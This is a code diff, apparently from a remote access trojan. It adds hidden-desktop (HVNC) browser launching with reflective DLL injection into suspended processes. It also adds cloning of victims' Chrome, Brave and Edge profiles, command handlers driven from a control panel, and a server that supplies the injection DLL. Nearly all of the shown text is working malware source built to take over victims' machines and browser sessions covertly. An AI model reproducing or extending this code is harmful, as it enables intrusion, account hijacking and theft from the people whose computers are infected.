|
}
|
||||||
|
|
||||||
|
// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs.
|
||||||
|
func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error {
|
||||||
|
if err := os.MkdirAll(dst, 0700); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
entries, err := os.ReadDir(src)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
for _, entry := range entries {
|
||||||
|
name := entry.Name()
|
||||||
|
s := filepath.Join(src, name)
|
||||||
|
d := filepath.Join(dst, name)
|
||||||
|
|
||||||
|
if entry.IsDir() {
|
||||||
|
if skipDirs[strings.ToLower(name)] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := copyDir(s, d); err != nil {
|
||||||
|
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if err := copyFile(s, d); err != nil {
|
||||||
|
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func copyFile(src, dst string) error {
|
||||||
|
in, err := os.Open(src)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
|
||||||
|
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
|
||||||
|
_, err = io.Copy(out, in)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func copyDir(src, dst string) error {
|
||||||
|
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
||||||
|
if err != nil {
|
||||||
|
return nil // skip errors
|
||||||
|
}
|
||||||
|
rel, _ := filepath.Rel(src, path)
|
||||||
|
target := filepath.Join(dst, rel)
|
||||||
|
if info.IsDir() {
|
||||||
|
return os.MkdirAll(target, 0700)
|
||||||
|
}
|
||||||
|
return copyFile(path, target)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||||
|
if filePath == "" {
|
||||||
|
return fmt.Errorf("empty file path")
|
||||||
|
}
|
||||||
|
if len(dllBytes) == 0 {
|
||||||
|
return fmt.Errorf("empty DLL bytes")
|
||||||
|
}
|
||||||
|
|
||||||
|
enableDebugPrivilege()
|
||||||
|
|
||||||
|
// Create the process suspended on the HVNC desktop
|
||||||
|
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to create suspended process: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||||
|
|
||||||
|
// Inject the reflective DLL
|
||||||
|
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
||||||
|
procCloseHandle.Call(hProcess)
|
||||||
|
procCloseHandle.Call(hThread)
|
||||||
|
// Try to kill the process
|
||||||
|
terminateProcess(hProcess)
|
||||||
|
return fmt.Errorf("DLL injection failed: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
||||||
|
|
||||||
|
procCloseHandle.Call(hProcess)
|
||||||
|
|
||||||
|
// Resume the main thread
|
||||||
|
ret, _, _ := procResumeThread.Call(hThread)
|
||||||
|
if ret == 0xFFFFFFFF {
|
||||||
|
procCloseHandle.Call(hThread)
|
||||||
|
return fmt.Errorf("failed to resume thread")
|
||||||
|
}
|
||||||
|
procCloseHandle.Call(hThread)
|
||||||
|
|
||||||
|
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func terminateProcess(hProcess uintptr) {
|
||||||
|
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) {
|
||||||
|
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
|
||||||
|
}
|
||||||
|
cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0")
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var si startupInfo
|
||||||
|
var pi processInformation
|
||||||
|
si.cb = uint32(unsafe.Sizeof(si))
|
||||||
|
si.lpDesktop = desktopNamePtr
|
||||||
|
si.dwX = 0
|
||||||
|
si.dwY = 0
|
||||||
|
si.dwFlags = STARTF_USEPOSITION
|
||||||
|
|
||||||
|
envBlock, err := buildEnvironmentBlock(searchPath, replacePath)
|
||||||
|
if err != nil {
|
||||||
|
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, callErr := procCreateProcessW.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&cmdLine[0])),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
uintptr(CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT),
|
||||||
|
uintptr(unsafe.Pointer(&envBlock[0])),
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&si)),
|
||||||
|
uintptr(unsafe.Pointer(&pi)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
if callErr != nil {
|
||||||
|
return 0, 0, 0, fmt.Errorf("CreateProcess failed: %v", callErr)
|
||||||
|
}
|
||||||
|
return 0, 0, 0, fmt.Errorf("CreateProcess failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) {
|
||||||
|
envStrings := syscall.Environ()
|
||||||
|
|
||||||
|
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
|
||||||
|
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
|
||||||
|
|
||||||
|
var block []uint16
|
||||||
|
for _, s := range envStrings {
|
||||||
|
u, err := syscall.UTF16FromString(s)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
block = append(block, u...)
|
||||||
|
}
|
||||||
|
block = append(block, 0)
|
||||||
|
return block, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||||
|
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
|
||||||
|
}
|
||||||
|
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
|
||||||
|
|
||||||
|
remoteBase, _, _ := procVirtualAllocEx.Call(
|
||||||
|
hProcess,
|
||||||
|
0,
|
||||||
|
uintptr(len(dllBytes)),
|
||||||
|
MEM_RESERVE|MEM_COMMIT,
|
||||||
|
PAGE_EXECUTE_READWRITE,
|
||||||
|
)
|
||||||
|
if remoteBase == 0 {
|
||||||
|
return fmt.Errorf("VirtualAllocEx failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
var bytesWritten uintptr
|
||||||
|
ret, _, _ := procWriteProcessMemory.Call(
|
||||||
|
hProcess,
|
||||||
|
remoteBase,
|
||||||
|
uintptr(unsafe.Pointer(&dllBytes[0])),
|
||||||
|
uintptr(len(dllBytes)),
|
||||||
|
uintptr(unsafe.Pointer(&bytesWritten)),
|
||||||
|
)
|
||||||
|
if ret == 0 {
|
||||||
|
return fmt.Errorf("WriteProcessMemory failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
remoteLoader := remoteBase + uintptr(loaderOffset)
|
||||||
|
|
||||||
|
var threadID uintptr
|
||||||
|
hThread, _, _ := procCreateRemoteThread.Call(
|
||||||
|
hProcess,
|
||||||
|
0,
|
||||||
|
1024*1024,
|
||||||
|
remoteLoader,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(&threadID)),
|
||||||
|
)
|
||||||
|
if hThread == 0 {
|
||||||
|
return fmt.Errorf("CreateRemoteThread failed")
|
||||||
|
}
|
||||||
|
|
||||||
|
procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
|
||||||
|
procCloseHandle.Call(hThread)
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
||||||
|
if len(pe) < 64 {
|
||||||
|
return 0, fmt.Errorf("PE too small")
|
||||||
|
}
|
||||||
|
|
||||||
|
if pe[0] != 'M' || pe[1] != 'Z' {
|
||||||
|
return 0, fmt.Errorf("invalid DOS signature")
|
||||||
|
}
|
||||||
|
lfanew := binary.LittleEndian.Uint32(pe[60:64])
|
||||||
|
if int(lfanew)+4 > len(pe) {
|
||||||
|
return 0, fmt.Errorf("invalid e_lfanew")
|
||||||
|
}
|
||||||
|
|
||||||
|
sig := binary.LittleEndian.Uint32(pe[lfanew : lfanew+4])
|
||||||
|
if sig != 0x00004550 {
|
||||||
|
return 0, fmt.Errorf("invalid PE signature")
|
||||||
|
}
|
||||||
|
|
||||||
|
coffOff := lfanew + 4
|
||||||
|
if int(coffOff)+20 > len(pe) {
|
||||||
|
return 0, fmt.Errorf("PE too small for COFF header")
|
||||||
|
}
|
||||||
|
numberOfSections := binary.LittleEndian.Uint16(pe[coffOff+2 : coffOff+4])
|
||||||
|
sizeOfOptionalHeader := binary.LittleEndian.Uint16(pe[coffOff+16 : coffOff+18])
|
||||||
|
|
||||||
|
optOff := coffOff + 20
|
||||||
|
if int(optOff)+2 > len(pe) {
|
||||||
|
return 0, fmt.Errorf("PE too small for optional header")
|
||||||
|
}
|
||||||
|
magic := binary.LittleEndian.Uint16(pe[optOff : optOff+2])
|
||||||
|
|
||||||
|
var exportDirRVA uint32
|
||||||
|
switch magic {
|
||||||
|
case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
|
||||||
|
ddOff := optOff + 112
|
||||||
|
if int(ddOff)+8 > len(pe) {
|
||||||
|
return 0, fmt.Errorf("PE too small for data directory")
|
||||||
|
}
|
||||||
|
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
|
||||||
|
case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
|
||||||
|
// PE32 - export directory is at offset 96 in optional header
|
||||||
|
ddOff := optOff + 96
|
||||||
|
if int(ddOff)+8 > len(pe) {
|
||||||
|
return 0, fmt.Errorf("PE too small for data directory")
|
||||||
|
}
|
||||||
|
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
|
||||||
|
default:
|
||||||
|
return 0, fmt.Errorf("unsupported PE magic: 0x%x", magic)
|
||||||
|
}
|
||||||
|
|
||||||
|
if exportDirRVA == 0 {
|
||||||
|
return 0, fmt.Errorf("no export directory")
|
||||||
|
}
|
||||||
|
|
||||||
|
sectionOff := optOff + uint32(sizeOfOptionalHeader)
|
||||||
|
|
||||||
|
exportDirFileOff := rvaToFileOffset(exportDirRVA, pe, sectionOff, numberOfSections)
|
||||||
|
if exportDirFileOff == 0 {
|
||||||
|
return 0, fmt.Errorf("failed to resolve export directory RVA")
|
||||||
|
}
|
||||||
|
|
||||||
|
if int(exportDirFileOff)+40 > len(pe) {
|
||||||
|
return 0, fmt.Errorf("PE too small for export directory")
|
||||||
|
}
|
||||||
|
numberOfNames := binary.LittleEndian.Uint32(pe[exportDirFileOff+24 : exportDirFileOff+28])
|
||||||
|
addressOfFunctionsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+28 : exportDirFileOff+32])
|
||||||
|
addressOfNamesRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+32 : exportDirFileOff+36])
|
||||||
|
addressOfNameOrdinalsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+36 : exportDirFileOff+40])
|
||||||
|
|
||||||
|
namesOff := rvaToFileOffset(addressOfNamesRVA, pe, sectionOff, numberOfSections)
|
||||||
|
funcsOff := rvaToFileOffset(addressOfFunctionsRVA, pe, sectionOff, numberOfSections)
|
||||||
|
ordinalsOff := rvaToFileOffset(addressOfNameOrdinalsRVA, pe, sectionOff, numberOfSections)
|
||||||
|
if namesOff == 0 || funcsOff == 0 || ordinalsOff == 0 {
|
||||||
|
return 0, fmt.Errorf("failed to resolve export table RVAs")
|
||||||
|
}
|
||||||
|
|
||||||
|
for i := uint32(0); i < numberOfNames; i++ {
|
||||||
|
nameRVA := binary.LittleEndian.Uint32(pe[namesOff+i*4 : namesOff+i*4+4])
|
||||||
|
nameFileOff := rvaToFileOffset(nameRVA, pe, sectionOff, numberOfSections)
|
||||||
|
if nameFileOff == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
name := readCString(pe, nameFileOff)
|
||||||
|
if contains(name, "ReflectiveLoader") {
|
||||||
|
ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2])
|
||||||
|
funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4])
|
||||||
|
return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0, fmt.Errorf("ReflectiveLoader export not found")
|
||||||
|
}
|
||||||
|
|
||||||
|
func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 {
|
||||||
|
for i := uint16(0); i < numSections; i++ {
|
||||||
|
off := sectionOff + uint32(i)*40
|
||||||
|
if int(off)+40 > len(pe) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
virtualSize := binary.LittleEndian.Uint32(pe[off+8 : off+12])
|
||||||
|
virtualAddr := binary.LittleEndian.Uint32(pe[off+12 : off+16])
|
||||||
|
rawDataSize := binary.LittleEndian.Uint32(pe[off+16 : off+20])
|
||||||
|
rawDataPtr := binary.LittleEndian.Uint32(pe[off+20 : off+24])
|
||||||
|
_ = virtualSize
|
||||||
|
|
||||||
|
if rva >= virtualAddr && rva < virtualAddr+rawDataSize {
|
||||||
|
return rva - virtualAddr + rawDataPtr
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if numSections > 0 {
|
||||||
|
firstSectionRawPtr := binary.LittleEndian.Uint32(pe[sectionOff+20 : sectionOff+24])
|
||||||
|
if rva < firstSectionRawPtr {
|
||||||
|
return rva
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func readCString(data []byte, offset uint32) string {
|
||||||
|
end := offset
|
||||||
|
for int(end) < len(data) && data[end] != 0 {
|
||||||
|
end++
|
||||||
|
}
|
||||||
|
return string(data[offset:end])
|
||||||
|
}
|
||||||
|
|
||||||
|
func contains(s, substr string) bool {
|
||||||
|
if len(substr) > len(s) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for i := 0; i <= len(s)-len(substr); i++ {
|
||||||
|
if s[i:i+len(substr)] == substr {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
@@ -174,6 +174,7 @@ type hvncTaskKind int
|
|||||||
const (
|
const (
|
||||||
hvncTaskCapture hvncTaskKind = iota
|
hvncTaskCapture hvncTaskKind = iota
|
||||||
hvncTaskStartProcess
|
hvncTaskStartProcess
|
||||||
|
hvncTaskStartProcessInjected
|
||||||
hvncTaskMouseMove
|
hvncTaskMouseMove
|
||||||
hvncTaskMouseDown
|
hvncTaskMouseDown
|
||||||
hvncTaskMouseUp
|
hvncTaskMouseUp
|
||||||
@@ -192,6 +193,9 @@ type hvncTask struct {
|
|||||||
button int
|
button int
|
||||||
vk uint16
|
vk uint16
|
||||||
delta int32
|
delta int32
|
||||||
|
dllBytes []byte
|
||||||
|
searchPath string
|
||||||
|
replacePath string
|
||||||
queuedAt time.Time
|
queuedAt time.Time
|
||||||
resp chan hvncTaskResult
|
resp chan hvncTaskResult
|
||||||
}
|
}
|
||||||
@@ -412,6 +416,8 @@ func ensureHVNCThread() error {
|
|||||||
switch task.kind {
|
switch task.kind {
|
||||||
case hvncTaskStartProcess:
|
case hvncTaskStartProcess:
|
||||||
result.err = startHVNCProcessOnThread(task.filePath)
|
result.err = startHVNCProcessOnThread(task.filePath)
|
||||||
|
case hvncTaskStartProcessInjected:
|
||||||
|
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
|
||||||
case hvncTaskMouseMove:
|
case hvncTaskMouseMove:
|
||||||
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
||||||
case hvncTaskMouseDown:
|
case hvncTaskMouseDown:
|
||||||
@@ -580,7 +586,7 @@ func hvncThreadWatchdog() {
|
|||||||
|
|
||||||
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
|
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
|
||||||
switch kind {
|
switch kind {
|
||||||
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess:
|
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected:
|
||||||
return true
|
return true
|
||||||
default:
|
default:
|
||||||
return false
|
return false
|
||||||
@@ -593,6 +599,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
|
|||||||
return "capture"
|
return "capture"
|
||||||
case hvncTaskStartProcess:
|
case hvncTaskStartProcess:
|
||||||
return "start_process"
|
return "start_process"
|
||||||
|
case hvncTaskStartProcessInjected:
|
||||||
|
return "start_process_injected"
|
||||||
case hvncTaskMouseMove:
|
case hvncTaskMouseMove:
|
||||||
return "mouse_move"
|
return "mouse_move"
|
||||||
case hvncTaskMouseDown:
|
case hvncTaskMouseDown:
|
||||||
@@ -620,6 +628,8 @@ func hvncTaskDetails(task hvncTask) string {
|
|||||||
return fmt.Sprintf("delta=%d", task.delta)
|
return fmt.Sprintf("delta=%d", task.delta)
|
||||||
case hvncTaskStartProcess:
|
case hvncTaskStartProcess:
|
||||||
return fmt.Sprintf("cmd=%q", task.filePath)
|
return fmt.Sprintf("cmd=%q", task.filePath)
|
||||||
|
case hvncTaskStartProcessInjected:
|
||||||
|
return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes))
|
||||||
default:
|
default:
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
@@ -1148,18 +1158,17 @@ func endHVNCWindowDrag(screenPt point) {
|
|||||||
|
|
||||||
func hvncMouseWheelOnThread(delta int32) error {
|
func hvncMouseWheelOnThread(delta int32) error {
|
||||||
pt := currentHVNCCursor()
|
pt := currentHVNCCursor()
|
||||||
hwnd := getWorkingWindow()
|
hwnd := windowFromPoint(pt)
|
||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
hwnd = windowFromPoint(pt)
|
hwnd = getWorkingWindow()
|
||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
setWorkingWindow(hwnd)
|
|
||||||
}
|
}
|
||||||
clientPt := pt
|
// WM_MOUSEWHEEL: wparam high word = delta, low word = button/key state
|
||||||
procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
|
// WM_MOUSEWHEEL: lparam = screen coordinates (NOT client coordinates) (I wanna fucking kms)
|
||||||
wparam := uintptr(uint16(delta)) << 16
|
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
|
||||||
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(clientPt.x, clientPt.y))
|
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -444,6 +444,21 @@ func writeVoiceDownlink(data []byte) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func extractDLLBytes(payload map[string]interface{}) []byte {
|
||||||
|
if payload == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
switch v := payload["dll"].(type) {
|
||||||
|
case []byte:
|
||||||
|
return v
|
||||||
|
case string:
|
||||||
|
if len(v) > 0 {
|
||||||
|
return []byte(v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||||
cmdID, _ := envelope["id"].(string)
|
cmdID, _ := envelope["id"].(string)
|
||||||
action, _ := envelope["commandType"].(string)
|
action, _ := envelope["commandType"].(string)
|
||||||
@@ -1267,6 +1282,92 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
})
|
})
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
|
case "hvnc_start_process_injected":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
filePath := ""
|
||||||
|
searchPath := ""
|
||||||
|
replacePath := ""
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["path"].(string); ok {
|
||||||
|
filePath = v
|
||||||
|
}
|
||||||
|
if v, ok := payload["search_path"].(string); ok {
|
||||||
|
searchPath = v
|
||||||
|
}
|
||||||
|
if v, ok := payload["replace_path"].(string); ok {
|
||||||
|
replacePath = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dllBytes := extractDLLBytes(payload)
|
||||||
|
if len(dllBytes) == 0 {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("hvnc_start_process_injected", nil, func() {
|
||||||
|
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
|
||||||
|
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
|
||||||
|
case "hvnc_start_chrome_injected":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
chromePath := ""
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["path"].(string); ok {
|
||||||
|
chromePath = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dllBytes := extractDLLBytes(payload)
|
||||||
|
if len(dllBytes) == 0 {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("hvnc_start_chrome_injected", nil, func() {
|
||||||
|
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
|
||||||
|
log.Printf("hvnc: chrome injected failed: %v", err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
|
||||||
|
case "hvnc_start_browser_injected":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
browser := ""
|
||||||
|
exePath := ""
|
||||||
|
clone := true
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["browser"].(string); ok {
|
||||||
|
browser = v
|
||||||
|
}
|
||||||
|
if v, ok := payload["path"].(string); ok {
|
||||||
|
exePath = v
|
||||||
|
}
|
||||||
|
if v, ok := payload["clone"].(bool); ok {
|
||||||
|
clone = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
dllBytes := extractDLLBytes(payload)
|
||||||
|
if len(dllBytes) == 0 {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if browser == "" {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "no browser specified")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes))
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("hvnc_start_browser_injected", nil, func() {
|
||||||
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil {
|
||||||
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
|
||||||
case "webcam_start":
|
case "webcam_start":
|
||||||
env.WebcamMu.Lock()
|
env.WebcamMu.Lock()
|
||||||
if env.WebcamCancel != nil {
|
if env.WebcamCancel != nil {
|
||||||
|
|||||||
@@ -746,11 +746,14 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
} else if (action === "start-powershell") {
|
} else if (action === "start-powershell") {
|
||||||
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
|
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
|
||||||
} else if (action === "start-chrome") {
|
} else if (action === "start-chrome") {
|
||||||
sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" });
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
|
||||||
} else if (action === "start-brave") {
|
} else if (action === "start-brave") {
|
||||||
sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" });
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
|
||||||
} else if (action === "start-edge") {
|
} else if (action === "start-edge") {
|
||||||
sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" });
|
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||||
|
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
|
||||||
} else if (action === "start-custom") {
|
} else if (action === "start-custom") {
|
||||||
const exePath = prompt("Enter exe path (required)");
|
const exePath = prompt("Enter exe path (required)");
|
||||||
if (!exePath) {
|
if (!exePath) {
|
||||||
|
|||||||
@@ -152,6 +152,10 @@
|
|||||||
class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
|
class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
|
||||||
>
|
>
|
||||||
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Browsers</div>
|
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Browsers</div>
|
||||||
|
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||||
|
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||||
|
<span class="text-xs text-slate-300">Clone profile</span>
|
||||||
|
</label>
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
import type { ServerWebSocket } from "bun";
|
import type { ServerWebSocket } from "bun";
|
||||||
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
|
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
|
||||||
import { v4 as uuidv4 } from "uuid";
|
import { v4 as uuidv4 } from "uuid";
|
||||||
|
import { existsSync, readFileSync } from "fs";
|
||||||
|
import path from "path";
|
||||||
import * as clientManager from "../clientManager";
|
import * as clientManager from "../clientManager";
|
||||||
import { logger } from "../logger";
|
import { logger } from "../logger";
|
||||||
import { metrics } from "../metrics";
|
import { metrics } from "../metrics";
|
||||||
@@ -9,6 +11,23 @@ import * as sessionManager from "../sessions/sessionManager";
|
|||||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||||
import type { ClientInfo } from "../types";
|
import type { ClientInfo } from "../types";
|
||||||
|
|
||||||
|
// Cache the injection DLL bytes so we read the file only once.
|
||||||
|
// Sent as raw binary via msgpack — no base64 needed.
|
||||||
|
let _cachedInjectionDll: Uint8Array | null = null;
|
||||||
|
let _dllCacheChecked = false;
|
||||||
|
